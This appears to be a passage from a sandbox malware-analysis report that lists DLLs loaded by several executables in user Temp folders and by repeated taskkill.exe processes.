Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\9d7da53f74.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000332001\84d280a9e8.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1000336001\num.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
